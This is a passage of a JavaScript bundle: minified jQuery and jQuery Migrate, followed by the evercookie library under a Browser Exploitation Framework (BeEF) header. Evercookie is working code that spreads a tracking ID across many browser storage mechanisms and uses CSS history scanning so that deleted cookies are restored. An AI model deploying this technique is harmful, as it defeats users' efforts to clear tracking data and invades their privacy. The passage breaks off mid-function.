0,f&&y.trigger(l?"ajaxSuccess":"ajaxError",[E,h,l?p:d]),m.fireWith(g,[E,C]),f&&(y.trigger("ajaxComplete",[E,h]),--w.active||w.event.trigger("ajaxStop")))}return E},getJSON:function(e,t,n){return w.get(e,t,n,"json")},getScript:function(e,t){return w.get(e,void 0,t,"script")}}),w.each(["get","post"],function(e,t){w[t]=function(e,n,r,i){return g(n)&&(i=i||r,r=n,n=void 0),w.ajax(w.extend({url:e,type:t,dataType:i,data:n,success:r},w.isPlainObject(e)&&e))}}),w._evalUrl=function(e){return w.ajax({url:e,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,"throws":!0})},w.fn.extend({wrapAll:function(e){var t;return this[0]&&(g(e)&&(e=e.call(this[0])),t=w(e,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstElementChild)e=e.firstElementChild;return e}).append(this)),this},wrapInner:function(e){return g(e)?this.each(function(t){w(this).wrapInner(e.call(this,t))}):this.each(function(){var t=w(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=g(e);return this.each(function(n){w(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(e){return this.parent(e).not("body").each(function(){w(this).replaceWith(this.childNodes)}),this}}),w.expr.pseudos.hidden=function(e){return!w.expr.pseudos.visible(e)},w.expr.pseudos.visible=function(e){return!!(e.offsetWidth||e.offsetHeight||e.getClientRects().length)},w.ajaxSettings.xhr=function(){try{return new e.XMLHttpRequest}catch(e){}};var Vt={0:200,1223:204},Gt=w.ajaxSettings.xhr();h.cors=!!Gt&&"withCredentials"in Gt,h.ajax=Gt=!!Gt,w.ajaxTransport(function(t){var n,r;if(h.cors||Gt&&!t.crossDomain)return{send:function(i,o){var a,s=t.xhr();if(s.open(t.type,t.url,t.async,t.username,t.password),t.xhrFields)for(a in t.xhrFields)s[a]=t.xhrFields[a];t.mimeType&&s.overrideMimeType&&s.overrideMimeType(t.mimeType),t.crossDomain||i["X-Requested-With"]||(i["X-Requested-With"]="XMLHttpRequest");for(a in i)s.setRequestHeader(a,i[a]);n=function(e){return function(){n&&(n=r=s.onload=s.onerror=s.onabort=s.ontimeout=s.onreadystatechange=null,"abort"===e?s.abort():"error"===e?"number"!=typeof s.status?o(0,"error"):o(s.status,s.statusText):o(Vt[s.status]||s.status,s.statusText,"text"!==(s.responseType||"text")||"string"!=typeof s.responseText?{binary:s.response}:{text:s.responseText},s.getAllResponseHeaders()))}},s.onload=n(),r=s.onerror=s.ontimeout=n("error"),void 0!==s.onabort?s.onabort=r:s.onreadystatechange=function(){4===s.readyState&&e.setTimeout(function(){n&&r()})},n=n("abort");try{s.send(t.hasContent&&t.data||null)}catch(e){if(n)throw e}},abort:function(){n&&n()}}}),w.ajaxPrefilter(function(e){e.crossDomain&&(e.contents.script=!1)}),w.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(e){return w.globalEval(e),e}}}),w.ajaxPrefilter("script",function(e){void 0===e.cache&&(e.cache=!1),e.crossDomain&&(e.type="GET")}),w.ajaxTransport("script",function(e){if(e.crossDomain){var t,n;return{send:function(i,o){t=w("<script>").prop({charset:e.scriptCharset,src:e.url}).on("load error",n=function(e){t.remove(),n=null,e&&o("error"===e.type?404:200,e.type)}),r.head.appendChild(t[0])},abort:function(){n&&n()}}}});var Yt=[],Qt=/(=)\?(?=&|$)|\?\?/;w.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=Yt.pop()||w.expando+"_"+Et++;return this[e]=!0,e}}),w.ajaxPrefilter("json jsonp",function(t,n,r){var i,o,a,s=!1!==t.jsonp&&(Qt.test(t.url)?"url":"string"==typeof t.data&&0===(t.contentType||"").indexOf("application/x-www-form-urlencoded")&&Qt.test(t.data)&&"data");if(s||"jsonp"===t.dataTypes[0])return i=t.jsonpCallback=g(t.jsonpCallback)?t.jsonpCallback():t.jsonpCallback,s?t[s]=t[s].replace(Qt,"$1"+i):!1!==t.jsonp&&(t.url+=(kt.test(t.url)?"&":"?")+t.jsonp+"="+i),t.converters["script json"]=function(){return a||w.error(i+" was not called"),a[0]},t.dataTypes[0]="json",o=e[i],e[i]=function(){a=arguments},r.always(function(){void 0===o?w(e).removeProp(i):e[i]=o,t[i]&&(t.jsonpCallback=n.jsonpCallback,Yt.push(i)),a&&g(o)&&o(a[0]),a=o=void 0}),"script"}),h.createHTMLDocument=function(){var e=r.implementation.createHTMLDocument("").body;return e.innerHTML="<form></form><form></form>",2===e.childNodes.length}(),w.parseHTML=function(e,t,n){if("string"!=typeof e)return[];"boolean"==typeof t&&(n=t,t=!1);var i,o,a;return t||(h.createHTMLDocument?((i=(t=r.implementation.createHTMLDocument("")).createElement("base")).href=r.location.href,t.head.appendChild(i)):t=r),o=A.exec(e),a=!n&&[],o?[t.createElement(o[1])]:(o=xe([e],t,a),a&&a.length&&w(a).remove(),w.merge([],o.childNodes))},w.fn.load=function(e,t,n){var r,i,o,a=this,s=e.indexOf(" ");return s>-1&&(r=vt(e.slice(s)),e=e.slice(0,s)),g(t)?(n=t,t=void 0):t&&"object"==typeof t&&(i="POST"),a.length>0&&w.ajax({url:e,type:i||"GET",dataType:"html",data:t}).done(function(e){o=arguments,a.html(r?w("<div>").append(w.parseHTML(e)).find(r):e)}).always(n&&function(e,t){a.each(function(){n.apply(this,o||[e.responseText,t,e])})}),this},w.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){w.fn[t]=function(e){return this.on(t,e)}}),w.expr.pseudos.animated=function(e){return w.grep(w.timers,function(t){return e===t.elem}).length},w.offset={setOffset:function(e,t,n){var r,i,o,a,s,u,l,c=w.css(e,"position"),f=w(e),p={};"static"===c&&(e.style.position="relative"),s=f.offset(),o=w.css(e,"top"),u=w.css(e,"left"),(l=("absolute"===c||"fixed"===c)&&(o+u).indexOf("auto")>-1)?(a=(r=f.position()).top,i=r.left):(a=parseFloat(o)||0,i=parseFloat(u)||0),g(t)&&(t=t.call(e,n,w.extend({},s))),null!=t.top&&(p.top=t.top-s.top+a),null!=t.left&&(p.left=t.left-s.left+i),"using"in t?t.using.call(e,p):f.css(p)}},w.fn.extend({offset:function(e){if(arguments.length)return void 0===e?this:this.each(function(t){w.offset.setOffset(this,e,t)});var t,n,r=this[0];if(r)return r.getClientRects().length?(t=r.getBoundingClientRect(),n=r.ownerDocument.defaultView,{top:t.top+n.pageYOffset,left:t.left+n.pageXOffset}):{top:0,left:0}},position:function(){if(this[0]){var e,t,n,r=this[0],i={top:0,left:0};if("fixed"===w.css(r,"position"))t=r.getBoundingClientRect();else{t=this.offset(),n=r.ownerDocument,e=r.offsetParent||n.documentElement;while(e&&(e===n.body||e===n.documentElement)&&"static"===w.css(e,"position"))e=e.parentNode;e&&e!==r&&1===e.nodeType&&((i=w(e).offset()).top+=w.css(e,"borderTopWidth",!0),i.left+=w.css(e,"borderLeftWidth",!0))}return{top:t.top-i.top-w.css(r,"marginTop",!0),left:t.left-i.left-w.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var e=this.offsetParent;while(e&&"static"===w.css(e,"position"))e=e.offsetParent;return e||be})}}),w.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(e,t){var n="pageYOffset"===t;w.fn[e]=function(r){return z(this,function(e,r,i){var o;if(y(e)?o=e:9===e.nodeType&&(o=e.defaultView),void 0===i)return o?o[t]:e[r];o?o.scrollTo(n?o.pageXOffset:i,n?i:o.pageYOffset):e[r]=i},e,r,arguments.length)}}),w.each(["top","left"],function(e,t){w.cssHooks[t]=_e(h.pixelPosition,function(e,n){if(n)return n=Fe(e,t),We.test(n)?w(e).position()[t]+"px":n})}),w.each({Height:"height",Width:"width"},function(e,t){w.each({padding:"inner"+e,content:t,"":"outer"+e},function(n,r){w.fn[r]=function(i,o){var a=arguments.length&&(n||"boolean"!=typeof i),s=n||(!0===i||!0===o?"margin":"border");return z(this,function(t,n,i){var o;return y(t)?0===r.indexOf("outer")?t["inner"+e]:t.document.documentElement["client"+e]:9===t.nodeType?(o=t.documentElement,Math.max(t.body["scroll"+e],o["scroll"+e],t.body["offset"+e],o["offset"+e],o["client"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)}}),w.proxy=function(e,t){var n,r,i;if("string"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return("number"===t||"string"===t)&&!isNaN(e-parseFloat(e))},"function"==typeof define&&define.amd&&define("jquery",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});
  3.  
  4.  
  5. /*! jQuery Migrate v3.0.1 | (c) jQuery Foundation and other contributors | jquery.org/license */
  6.  
  7. void 0 === jQuery.migrateMute && (jQuery.migrateMute = !0), function(e) {
  8. "function" == typeof define && define.amd ? define([ "jquery" ], window, e) : "object" == typeof module && module.exports ? module.exports = e(require("jquery"), window) : e(jQuery, window);
  9. }(function(e, t) {
  10. "use strict";
  11. function r(r) {
  12. var n = t.console;
  13. o[r] || (o[r] = !0, e.migrateWarnings.push(r), n && n.warn && !e.migrateMute && (n.warn("JQMIGRATE: " + r),
  14. e.migrateTrace && n.trace && n.trace()));
  15. }
  16. function n(e, t, n, a) {
  17. Object.defineProperty(e, t, {
  18. configurable: !0,
  19. enumerable: !0,
  20. get: function() {
  21. return r(a), n;
  22. },
  23. set: function(e) {
  24. r(a), n = e;
  25. }
  26. });
  27. }
  28. function a(e, t, n, a) {
  29. e[t] = function() {
  30. return r(a), n.apply(this, arguments);
  31. };
  32. }
  33. e.migrateVersion = "3.0.1", function() {
  34. var r = /^[12]\./;
  35. t.console && t.console.log && (e && !r.test(e.fn.jquery) || t.console.log("JQMIGRATE: jQuery 3.0.0+ REQUIRED"),
  36. e.migrateWarnings && t.console.log("JQMIGRATE: Migrate plugin loaded multiple times"),
  37. t.console.log("JQMIGRATE: Migrate is installed" + (e.migrateMute ? "" : " with logging active") + ", version " + e.migrateVersion));
  38. }();
  39. var o = {};
  40. e.migrateWarnings = [], void 0 === e.migrateTrace && (e.migrateTrace = !0), e.migrateReset = function() {
  41. o = {}, e.migrateWarnings.length = 0;
  42. }, "BackCompat" === t.document.compatMode && r("jQuery is not compatible with Quirks Mode");
  43. var i = e.fn.init, s = e.isNumeric, u = e.find, c = /\[(\s*[-\w]+\s*)([~|^$*]?=)\s*([-\w#]*?#[-\w#]*)\s*\]/, l = /\[(\s*[-\w]+\s*)([~|^$*]?=)\s*([-\w#]*?#[-\w#]*)\s*\]/g;
  44. e.fn.init = function(e) {
  45. var t = Array.prototype.slice.call(arguments);
  46. return "string" == typeof e && "#" === e && (r("jQuery( '#' ) is not a valid selector"),
  47. t[0] = []), i.apply(this, t);
  48. }, e.fn.init.prototype = e.fn, e.find = function(e) {
  49. var n = Array.prototype.slice.call(arguments);
  50. if ("string" == typeof e && c.test(e)) try {
  51. t.document.querySelector(e);
  52. } catch (a) {
  53. e = e.replace(l, function(e, t, r, n) {
  54. return "[" + t + r + '"' + n + '"]';
  55. });
  56. try {
  57. t.document.querySelector(e), r("Attribute selector with '#' must be quoted: " + n[0]),
  58. n[0] = e;
  59. } catch (e) {
  60. r("Attribute selector with '#' was not fixed: " + n[0]);
  61. }
  62. }
  63. return u.apply(this, n);
  64. };
  65. var d;
  66. for (d in u) Object.prototype.hasOwnProperty.call(u, d) && (e.find[d] = u[d]);
  67. e.fn.size = function() {
  68. return r("jQuery.fn.size() is deprecated and removed; use the .length property"),
  69. this.length;
  70. }, e.parseJSON = function() {
  71. return r("jQuery.parseJSON is deprecated; use JSON.parse"), JSON.parse.apply(null, arguments);
  72. }, e.isNumeric = function(t) {
  73. var n = s(t), a = function(t) {
  74. var r = t && t.toString();
  75. return !e.isArray(t) && r - parseFloat(r) + 1 >= 0;
  76. }(t);
  77. return n !== a && r("jQuery.isNumeric() should not be called on constructed objects"),
  78. a;
  79. }, a(e, "holdReady", e.holdReady, "jQuery.holdReady is deprecated"), a(e, "unique", e.uniqueSort, "jQuery.unique is deprecated; use jQuery.uniqueSort"),
  80. n(e.expr, "filters", e.expr.pseudos, "jQuery.expr.filters is deprecated; use jQuery.expr.pseudos"),
  81. n(e.expr, ":", e.expr.pseudos, "jQuery.expr[':'] is deprecated; use jQuery.expr.pseudos");
  82. var p = e.ajax;
  83. e.ajax = function() {
  84. var e = p.apply(this, arguments);
  85. return e.promise && (a(e, "success", e.done, "jQXHR.success is deprecated and removed"),
  86. a(e, "error", e.fail, "jQXHR.error is deprecated and removed"), a(e, "complete", e.always, "jQXHR.complete is deprecated and removed")),
  87. e;
  88. };
  89. var f = e.fn.removeAttr, y = e.fn.toggleClass, m = /\S+/g;
  90. e.fn.removeAttr = function(t) {
  91. var n = this;
  92. return e.each(t.match(m), function(t, a) {
  93. e.expr.match.bool.test(a) && (r("jQuery.fn.removeAttr no longer sets boolean properties: " + a),
  94. n.prop(a, !1));
  95. }), f.apply(this, arguments);
  96. }, e.fn.toggleClass = function(t) {
  97. return void 0 !== t && "boolean" != typeof t ? y.apply(this, arguments) : (r("jQuery.fn.toggleClass( boolean ) is deprecated"),
  98. this.each(function() {
  99. var r = this.getAttribute && this.getAttribute("class") || "";
  100. r && e.data(this, "__className__", r), this.setAttribute && this.setAttribute("class", r || !1 === t ? "" : e.data(this, "__className__") || "");
  101. }));
  102. };
  103. var h = !1;
  104. e.swap && e.each([ "height", "width", "reliableMarginRight" ], function(t, r) {
  105. var n = e.cssHooks[r] && e.cssHooks[r].get;
  106. n && (e.cssHooks[r].get = function() {
  107. var e;
  108. return h = !0, e = n.apply(this, arguments), h = !1, e;
  109. });
  110. }), e.swap = function(e, t, n, a) {
  111. var o, i, s = {};
  112. h || r("jQuery.swap() is undocumented and deprecated");
  113. for (i in t) s[i] = e.style[i], e.style[i] = t[i];
  114. o = n.apply(e, a || []);
  115. for (i in t) e.style[i] = s[i];
  116. return o;
  117. };
  118. var g = e.data;
  119. e.data = function(t, n, a) {
  120. var o;
  121. if (n && "object" == typeof n && 2 === arguments.length) {
  122. o = e.hasData(t) && g.call(this, t);
  123. var i = {};
  124. for (var s in n) s !== e.camelCase(s) ? (r("jQuery.data() always sets/gets camelCased names: " + s),
  125. o[s] = n[s]) : i[s] = n[s];
  126. return g.call(this, t, i), n;
  127. }
  128. return n && "string" == typeof n && n !== e.camelCase(n) && (o = e.hasData(t) && g.call(this, t)) && n in o ? (r("jQuery.data() always sets/gets camelCased names: " + n),
  129. arguments.length > 2 && (o[n] = a), o[n]) : g.apply(this, arguments);
  130. };
  131. var v = e.Tween.prototype.run, j = function(e) {
  132. return e;
  133. };
  134. e.Tween.prototype.run = function() {
  135. e.easing[this.easing].length > 1 && (r("'jQuery.easing." + this.easing.toString() + "' should use only one argument"),
  136. e.easing[this.easing] = j), v.apply(this, arguments);
  137. }, e.fx.interval = e.fx.interval || 13, t.requestAnimationFrame && n(e.fx, "interval", e.fx.interval, "jQuery.fx.interval is deprecated");
  138. var Q = e.fn.load, b = e.event.add, w = e.event.fix;
  139. e.event.props = [], e.event.fixHooks = {}, n(e.event.props, "concat", e.event.props.concat, "jQuery.event.props.concat() is deprecated and removed"),
  140. e.event.fix = function(t) {
  141. var n, a = t.type, o = this.fixHooks[a], i = e.event.props;
  142. if (i.length) for (r("jQuery.event.props are deprecated and removed: " + i.join()); i.length; ) e.event.addProp(i.pop());
  143. if (o && !o._migrated_ && (o._migrated_ = !0, r("jQuery.event.fixHooks are deprecated and removed: " + a),
  144. (i = o.props) && i.length)) for (;i.length; ) e.event.addProp(i.pop());
  145. return n = w.call(this, t), o && o.filter ? o.filter(n, t) : n;
  146. }, e.event.add = function(e, n) {
  147. return e === t && "load" === n && "complete" === t.document.readyState && r("jQuery(window).on('load'...) called after load event occurred"),
  148. b.apply(this, arguments);
  149. }, e.each([ "load", "unload", "error" ], function(t, n) {
  150. e.fn[n] = function() {
  151. var e = Array.prototype.slice.call(arguments, 0);
  152. return "load" === n && "string" == typeof e[0] ? Q.apply(this, e) : (r("jQuery.fn." + n + "() is deprecated"),
  153. e.splice(0, 0, n), arguments.length ? this.on.apply(this, e) : (this.triggerHandler.apply(this, e),
  154. this));
  155. };
  156. }), e.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "), function(t, n) {
  157. e.fn[n] = function(e, t) {
  158. return r("jQuery.fn." + n + "() event shorthand is deprecated"), arguments.length > 0 ? this.on(n, null, e, t) : this.trigger(n);
  159. };
  160. }), e(function() {
  161. e(t.document).triggerHandler("ready");
  162. }), e.event.special.ready = {
  163. setup: function() {
  164. this === t.document && r("'ready' event is deprecated");
  165. }
  166. }, e.fn.extend({
  167. bind: function(e, t, n) {
  168. return r("jQuery.fn.bind() is deprecated"), this.on(e, null, t, n);
  169. },
  170. unbind: function(e, t) {
  171. return r("jQuery.fn.unbind() is deprecated"), this.off(e, null, t);
  172. },
  173. delegate: function(e, t, n, a) {
  174. return r("jQuery.fn.delegate() is deprecated"), this.on(t, e, n, a);
  175. },
  176. undelegate: function(e, t, n) {
  177. return r("jQuery.fn.undelegate() is deprecated"), 1 === arguments.length ? this.off(e, "**") : this.off(t, e || "**", n);
  178. },
  179. hover: function(e, t) {
  180. return r("jQuery.fn.hover() is deprecated"), this.on("mouseenter", e).on("mouseleave", t || e);
  181. }
  182. });
  183. var x = e.fn.offset;
  184. e.fn.offset = function() {
  185. var n, a = this[0], o = {
  186. top: 0,
  187. left: 0
  188. };
  189. return a && a.nodeType ? (n = (a.ownerDocument || t.document).documentElement, e.contains(n, a) ? x.apply(this, arguments) : (r("jQuery.fn.offset() requires an element connected to a document"),
  190. o)) : (r("jQuery.fn.offset() requires a valid DOM element"), o);
  191. };
  192. var k = e.param;
  193. e.param = function(t, n) {
  194. var a = e.ajaxSettings && e.ajaxSettings.traditional;
  195. return void 0 === n && a && (r("jQuery.param() no longer uses jQuery.ajaxSettings.traditional"),
  196. n = a), k.call(this, t, n);
  197. };
  198. var A = e.fn.andSelf || e.fn.addBack;
  199. e.fn.andSelf = function() {
  200. return r("jQuery.fn.andSelf() is deprecated and removed, use jQuery.fn.addBack()"),
  201. A.apply(this, arguments);
  202. };
  203. var S = e.Deferred, q = [ [ "resolve", "done", e.Callbacks("once memory"), e.Callbacks("once memory"), "resolved" ], [ "reject", "fail", e.Callbacks("once memory"), e.Callbacks("once memory"), "rejected" ], [ "notify", "progress", e.Callbacks("memory"), e.Callbacks("memory") ] ];
  204. return e.Deferred = function(t) {
  205. var n = S(), a = n.promise();
  206. return n.pipe = a.pipe = function() {
  207. var t = arguments;
  208. return r("deferred.pipe() is deprecated"), e.Deferred(function(r) {
  209. e.each(q, function(o, i) {
  210. var s = e.isFunction(t[o]) && t[o];
  211. n[i[1]](function() {
  212. var t = s && s.apply(this, arguments);
  213. t && e.isFunction(t.promise) ? t.promise().done(r.resolve).fail(r.reject).progress(r.notify) : r[i[0] + "With"](this === a ? r.promise() : this, s ? [ t ] : arguments);
  214. });
  215. }), t = null;
  216. }).promise();
  217. }, t && t.call(n, n), n;
  218. }, e.Deferred.exceptionHook = S.exceptionHook, e;
  219. });
  220.  
  221.  
  222. //
  223. // Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
  224. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  225. // See the file 'doc/COPYING' for copying permission
  226. //
  227.  
  228. /*
  229. * evercookie 0.4 (10/13/2010) -- extremely persistent cookies
  230. *
  231. * by samy kamkar : code@samy.pl : http://samy.pl
  232. *
  233. * this api attempts to produce several types of persistent data
  234. * to essentially make a cookie virtually irrevocable from a system
  235. *
  236. * specifically it uses:
  237. * - standard http cookies
  238. * - flash cookies (local shared objects)
  239. * - silverlight isolated storage
  240. * - png generation w/forced cache and html5 canvas pixel reading
  241. * - http etags
  242. * - http cache
  243. * - window.name
  244. * - IE userData
  245. * - html5 session cookies
  246. * - html5 local storage
  247. * - html5 global storage
  248. * - html5 database storage via sqlite
  249. * - css history scanning
  250. *
  251. * if any cookie is found, it's then reset to all the other locations
  252. * for example, if someone deletes all but one type of cookie, once
  253. * that cookie is re-discovered, all of the other cookie types get reset
  254. *
  255. * !!! SOME OF THESE ARE CROSS-DOMAIN COOKIES, THIS MEANS
  256. * OTHER SITES WILL BE ABLE TO READ SOME OF THESE COOKIES !!!
  257. *
  258. * USAGE:
  259.  
  260. var ec = new evercookie();
  261.  
  262. // set a cookie "id" to "12345"
  263. // usage: ec.set(key, value)
  264. ec.set("id", "12345");
  265.  
  266. // retrieve a cookie called "id" (simply)
  267. ec.get("id", function(value) { alert("Cookie value is " + value) });
  268.  
  269. // or use a more advanced callback function for getting our cookie
  270. // the cookie value is the first param
  271. // an object containing the different storage methods
  272. // and returned cookie values is the second parameter
  273. function getCookie(best_candidate, all_candidates)
  274. {
  275. alert("The retrieved cookie is: " + best_candidate + "\n" +
  276. "You can see what each storage mechanism returned " +
  277. "by looping through the all_candidates object.");
  278.  
  279. for (var item in all_candidates)
  280. document.write("Storage mechanism " + item +
  281. " returned " + all_candidates[item] + " votes<br>");
  282. }
  283. ec.get("id", getCookie);
  284.  
  285. // we look for "candidates" based off the number of "cookies" that
  286. // come back matching since it's possible for mismatching cookies.
  287. // the best candidate is very-very-likely the correct one
  288.  
  289. */
  290.  
  291. /* to turn off CSS history knocking, set _ec_history to 0 */
  292. var _ec_history = 1; // CSS history knocking or not .. can be network intensive
  293. var _ec_tests = 10;//1000;
  294. var _ec_debug = 0;
  295.  
  296. function _ec_dump(arr, level)
  297. {
  298. var dumped_text = "";
  299. if(!level) level = 0;
  300.  
  301. //The padding given at the beginning of the line.
  302. var level_padding = "";
  303. for(var j=0;j<level+1;j++) level_padding += " ";
  304.  
  305. if(typeof(arr) == 'object') { //Array/Hashes/Objects
  306. for(var item in arr) {
  307. var value = arr[item];
  308.  
  309. if(typeof(value) == 'object') { //If it is an array,
  310. dumped_text += level_padding + "'" + item + "' ...\n";
  311. dumped_text += _ec_dump(value,level+1);
  312. } else {
  313. dumped_text += level_padding + "'" + item + "' => \"" + value + "\"\n";
  314. }
  315. }
  316. } else { //Stings/Chars/Numbers etc.
  317. dumped_text = "===>"+arr+"<===("+typeof(arr)+")";
  318. }
  319. return dumped_text;
  320. }
  321.  
  322. function _ec_replace(str, key, value)
  323. {
  324. if (str.indexOf('&' + key + '=') > -1 || str.indexOf(key + '=') == 0)
  325. {
  326. // find start
  327. var idx = str.indexOf('&' + key + '=');
  328. if (idx == -1)
  329. idx = str.indexOf(key + '=');
  330.  
  331. // find end
  332. var end = str.indexOf('&', idx + 1);
  333. var newstr;
  334. if (end != -1)
  335. newstr = str.substr(0, idx) + str.substr(end + (idx ? 0 : 1)) + '&' + key + '=' + value;
  336. else
  337. newstr = str.substr(0, idx) + '&' + key + '=' + value;
  338.  
  339. return newstr;
  340. }
  341. else
  342. return str + '&' + key + '=' + value;
  343. }
  344.  
  345.  
  346. // necessary for flash to communicate with js...
  347. // please implement a better way
  348. var _global_lso;
  349. function _evercookie_flash_var(cookie)
  350. {
  351. _global_lso = cookie;
  352.  
  353. // remove the flash object now
  354. var swf = $('#myswf');
  355. if (swf && swf.parentNode)
  356. swf.parentNode.removeChild(swf);
  357. }
  358.  
  359. var evercookie = (function () {
  360. this._class = function() {
  361.  
  362. var self = this;
  363. // private property
  364. _baseKeyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
  365. this._ec = {};
  366. var no_color = -1;
  367.  
  368. this.get = function(name, cb, dont_reset)
  369. {
  370. $(document).ready(function() {
  371. self._evercookie(name, cb, undefined, undefined, dont_reset);
  372. });
  373. };
  374.  
  375. this.set = function(name, value)
  376. {
  377. $(document).ready(function() {
  378. self._evercookie(name, function() { }, value);
  379. });
  380. };
  381.  
  382. this._evercookie = function(name, cb, value, i, dont_reset)
  383. {
  384. if (typeof self._evercookie == 'undefined')
  385. self = this;
  386.  
  387. if (typeof i == 'undefined')
  388. i = 0;
  389.  
  390. // first run
  391. if (i == 0)
  392. {
  393. self.evercookie_database_storage(name, value);
  394. self.evercookie_png(name, value);
  395. self.evercookie_etag(name, value);
  396. self.evercookie_cache(name, value);
  397. self.evercookie_lso(name, value);
  398. self.evercookie_silverlight(name, value);
  399.  
  400. self._ec.userData = self.evercookie_userdata(name, value);
  401. self._ec.cookieData = self.evercookie_cookie(name, value);
  402. self._ec.localData = self.evercookie_local_storage(name, value);
  403. self._ec.globalData = self.evercookie_global_storage(name, value);
  404. self._ec.sessionData = self.evercookie_session_storage(name, value);
  405. self._ec.windowData = self.evercookie_window(name, value);
  406.  
  407. if (_ec_history)
  408. self._ec.historyData = self.evercookie_history(name, value);
  409. }
  410.  
  411. // when writing data, we need to make sure lso and silverlight object is there
  412. if (typeof value != 'undefined')
  413. {
  414. if (
  415. (
  416. (typeof _global_lso == 'undefined') ||
  417. (typeof _global_isolated == 'undefined')
  418. )
  419. && i++ < _ec_tests
  420. )
  421. setTimeout(function() { self._evercookie(name, cb, value, i, dont_reset) }, 300);
  422. }
  423.  
  424. // when reading data, we need to wait for swf, db, silverlight and png
  425. else
  426. {
  427. if (
  428. (
  429. // we support local db and haven't read data in yet
  430. (window.openDatabase && typeof self._ec.dbData == 'undefined') ||
  431. (typeof _global_lso == 'undefined') ||
  432. (typeof self._ec.etagData == 'undefined') ||
  433. (typeof self._ec.cacheData == 'undefined') ||
  434. (document.createElement('canvas').getContext && (typeof self._ec.pngData == 'undefined' || self._ec.pngData == '')) ||
  435. (typeof _global_isolated == 'undefined')
  436. )
  437. &&
  438. i++ < _ec_tests
  439. )
  440. {
  441. setTimeout(function() { self._evercookie(name, cb, value, i, dont_reset) }, 300);
  442. }
  443.  
  444. // we hit our max wait time or got all our data
  445. else
  446. {
  447. // get just the piece of data we need from swf
  448. self._ec.lsoData = self.getFromStr(name, _global_lso);
  449. _global_lso = undefined;
  450.  
  451. // get just the piece of data we need from silverlight
  452. self._ec.slData = self.getFromStr(name, _global_isolated);
  453. _global_isolated = undefined;
  454.  
  455. var tmpec = self._ec;
  456. self._ec = {};
  457.  
  458. // figure out which is the best candidate
  459. var candidates = new Array();
  460. var bestnum = 0;
  461. var candidate;
  462. for (var item in tmpec)
  463. {
  464. if (typeof tmpec[item] != 'undefined' && typeof tmpec[item] != 'null' && tmpec[item] != '' &&
  465. tmpec[item] != 'null' && tmpec[item] != 'undefined' && tmpec[item] != null)
  466. {
  467. candidates[tmpec[item]] = typeof candidates[tmpec[item]] == 'undefined' ? 1 : candidates[tmpec[item]] + 1;
  468. }
  469. }
  470.  
  471. for (var item in candidates)
  472. {
  473. if (candidates[item] > bestnum)
  474. {
  475. bestnum = candidates[item];
  476. candidate = item;
  477. }
  478. }
  479.  
  480. // reset cookie everywhere
  481. if (typeof dont_reset == "undefined" || dont_reset != 1)
  482. self.set(name, candidate);
  483.  
  484. if (typeof cb == 'function')
  485. cb(candidate, tmpec);
  486. }
  487. }
  488. };
  489.  
  490. this.evercookie_window = function(name, value)
  491. {
  492. try {
  493. if (typeof(value) != "undefined")
  494. window.name = _ec_replace(window.name, name, value);
  495. else
  496. return this.getFromStr(name, window.name);
  497. } catch(e) { }
  498. };
  499.  
  500. this.evercookie_userdata = function(name, value)
  501. {
  502. try {
  503. var elm = this.createElem('div', 'userdata_el', 1);
  504. elm.style.behavior = "url(#default#userData)";
  505.  
  506. if (typeof(value) != "undefined")
  507. {
  508. elm.setAttribute(name, value);
  509. elm.save(name);
  510. }
  511. else
  512. {
  513. elm.load(name);
  514. return elm.getAttribute(name);
  515. }
  516. } catch(e) { }
  517. };
  518.  
  519. this.evercookie_cache = function(name, value)
  520. {
  521. if (typeof(value) != "undefined")
  522. {
  523. // make sure we have evercookie session defined first
  524. document.cookie = 'evercookie_cache=' + value;
  525.  
  526. // evercookie_cache.php handles caching
  527. var img = new Image();
  528. img.style.visibility = 'hidden';
  529. img.style.position = 'absolute';
  530. img.src = 'evercookie_cache.php?name=' + name;
  531. }
  532. else
  533. {
  534. // interestingly enough, we want to erase our evercookie
  535. // http cookie so the php will force a cached response
  536. var origvalue = this.getFromStr('evercookie_cache', document.cookie);
  537. self._ec.cacheData = undefined;
  538. document.cookie = 'evercookie_cache=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
  539.  
  540. $.ajax({
  541. url: 'evercookie_cache.php?name=' + name,
  542. success: function(data) {
  543. // put our cookie back
